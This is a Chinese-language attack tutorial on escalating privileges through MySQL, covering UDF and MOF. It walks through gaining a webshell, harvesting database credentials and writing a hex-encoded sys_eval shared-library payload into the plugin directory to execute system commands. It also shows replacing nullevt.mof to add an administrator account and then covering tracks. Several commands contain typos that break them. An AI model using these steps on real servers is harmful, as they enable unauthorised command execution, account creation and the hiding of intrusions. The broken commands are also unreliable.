MySQL数据库提权之UDF提权和MOF提权

UDF提权

概念：

udf的设计初衷是为了方便用户自定义一些函数，方便查询一些复杂的数据，同时也增加了使用udf提权的可能。
攻击者通过编写调用cmd或者shell的udf.dll文件，并且导入到一个指定的文件夹目录下，创建一个指向udf.dll的自定义函数，从而在数据库中的查询就等价于在cmd或者shell中执行命令。

利用：

文件末为.so，则为linux系统，如果是win，则后缀为dll
不同的操作系统，不同的版本，提权时导出udf.dll存放的目录不一样。

Windows 2000操作系统需要导出udf.dll到c:\winnt\目录下。
Windows2003操作系统导出udf.dll到c:\windows\目录下。
在MySQL 5.1版本及以后的环境下，udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\目录下

查看plugin位置

show variables like "%plugin%"；

1.首先需要获取目标的webshll，获得的这个webshell很明显权限很低，甚至连命令都无法执行。

2.因为服务器部署了mysql，所以就可以考虑使用mysql提权，所以需要找到MySQL的账户和密码。可以通过对文件的的浏览，找到了网站的配置文件，里面可以看到数据库的账户的密码都是以明文的形式存在的。还可以通过查看数据库的user.MYD文件，里面存的是用户的密码的hash值，获取了以后可以通过cmd5或者其他途径进行查找。

3、获取数据库用户密码后连接数据库执行：

show global variables like "secure%";

• 当secure_file_priv 的值为 NULL ，表示限制mysqld 不允许导入|导出，此时无法提权
• 当secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下，此时也无法提权
• 当 secure_file_priv的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可以提权

4、查看mysql的安装路径（绝对路径）

select @@basedir;

5、查看mysql的版本。发现是5.2版本，所以需要将dll文件放在lib\plugin目录下才可以生效，如果是5.1以下，需要放到 C:\Windows\system32下

select version();

6、浏览目录，如果发现没有lib路径的存在，需要使用NTFS ADS进行创建（在获取到shell的情况下，如果权限够，也可以使用webshell管理工具创建。）
7、使用同样的方法创建plugin文件夹。
8、将udf.dll文件上传到指定位置。

创建一张临时表用于存放DLL\so文件的十六进制内容

CREATE TABLE temp_udf(udf blod);

通过16进制进行写入udf.so文件

INSERT into temp_udf values( CONVERT(0x7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D4010000000000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导出so文件到指定目录

SELECT udf from temp_udf INTO DOWNFILE "/usr/lib64/mysql/plugin/udf.os";

9、创建sys_eval函数，用于执行命令和回显

create function sys_eval returns string soname 'udf.dll';

10、执行命令

select sys_eval("whoami");

MOF提权

概念：

mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做"托管对象格式"，其作用是每隔五秒就会去监控进程创建和死亡。其就是拥有了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。

利用条件

• windows 03及以下版本
• mysql有读写 C:/Windows/system32/wbem/mof 的权限
• secure-file-priv参数不为null

利用：

将mof脚本上传至有读写权限的路径下，使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件：

select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

痕迹清理：

每隔几分钟会重新执行添加用户的命令，所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件，此时删除用户才有效果。

# 停止 winmgmt 服务
net stop winmgmt 
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt